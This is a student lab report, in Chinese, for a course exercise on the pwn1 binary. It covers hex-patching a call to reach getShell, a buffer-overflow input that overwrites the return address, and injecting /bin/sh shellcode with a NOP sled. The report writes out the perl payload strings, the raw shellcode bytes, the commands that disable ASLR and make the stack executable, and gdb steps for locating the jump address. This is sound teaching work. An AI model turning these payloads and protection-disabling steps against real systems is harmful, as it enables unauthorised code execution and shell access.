20212808 2021-2022-2 《网络攻防实践》实践九报告
20212808 2021-2022-2 《网络攻防实践》实践九报告
1.知识点梳理与总结
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 使用objdump指令对pwn1进行反汇编
objdump -d pwn1 | more
- call 8048491 汇编指令:该指令调用位于8048491处的foo函数;对应机器指令是 e8 d7ffffffe8有跳转的意思
- main函数中调用foo函数:对应机器指令是 e8 d7ffffff;d7ffffff为foo函数的地址偏移量,将其改为getshell地址的偏移量,就可以运行getshell函数。要调用getshell函数,就需要将d7ffffff改成getshell函数地址对应的补码,也就是得到getshsell-80484ba对应的补码即可。
- 用windows计算器,计算47d-4ba可以得到补码c3ffffff,将call指令的目标地址从d7ffffff改为c3ffffff即可
- 使用vim修改pwn1
输入:%!xxd,将显示模式转换为16进制模式
输入/e8 d7,查找要修改的内容
再将其中的d7修改为c3
输入:%!xxd -r,转换16进制为原格式,:wq保存并退出
再次使用objdump查看修改结果
运行修改过后的代码,得到shell提示符#
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1. 用objdump -d pwn1
命令反汇编
- 我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
- 从汇编代码中可知,代码中只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,首先覆盖EBP,之后覆盖EIP,字节大小共28+4+4=36,我们的目标是覆盖返回地址寄存器EIP
- 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
从前面的反汇编结果可以看到, getShell 的地址为 0x0804847d ,所以我们构造的参数就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
-
perlink来构造16进制字符串。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
注释: 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
-
xxd input
来查看input文件中的内容是不是符号预期。
-
再将input通过管道符“|”当作pwn1的输入,然后进去getshell
(cat input;cat) | ./pwn1
2.3 注入一个自己制作的shellcode并运行这段shellcode:
1. 准备一段shellcod
shellcode是一段机器指令
这段机器指令目的是威力获取一个交互式的shell(就像linux的shell或者像window下的cmd.exe)
以下实践使用该文章中生成的shellcode,如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2. 准备工作
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
3. 构造要注入的patload
-
Linux下有两种基本构造攻击 buf 的方法:
retaddr+nop+shellcode 和 nop+shellcode+retaddr。
因为 retaddr 在缓冲区的位置是固定的,shellcode 要不在它前面,要不在它后面。
简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。
结构为:nops+shellcode+retaddr。(另一个有错误)
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
能够成功的结构为:anything+retaddr+nops+shellcode。 -
构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 使用此命令构建字符串并保存到input_shellcode中,不确定的字节用 12 34h填充
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
- 打开终端注入以下的字符串:
(cat input_shellcode;cat) | ./pwn1
- 打开另一终端,用下命令找pwn20192427的进程号:
ps -ef | grep pwn1
得到进程号:4655
- 启动gdb调试这个进程
gdb
(gdb) attach 4655
- 然后反汇编foo函数,查看返回指令(ret)的地址
disassemble foo
break *0x080484ae
c
并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行
-
待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址
info r esp
-
使用如下的指令查看该地址附近数据
x/16x 0xffffd31c
x/16x 0xffffd300
x/16x 0xffffd2fc
x/16x 0xffffd17c
- 从0xffffd15c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
3.学习中遇到的问题及解决
问题1:实验二中(cat input;cat) | ./pwn1出错,不能进入getshell
问题1解决办法:
pwn1修改了,删除input和pwn1,重新拷贝一个,就好用了
问题2:用kali做实验3下载不下来perlink,去ubutun做时运行(cat input_shellcode;cat) | ./pwn1这句话的时候失败,说没有这个文件
问题2解决办法:
下载32位的运行库 ia32-libs ,直接安装即可
4.实践总结
经过本次实验理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。通过本次实验我对溢出攻击有了更加深刻的理解。在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。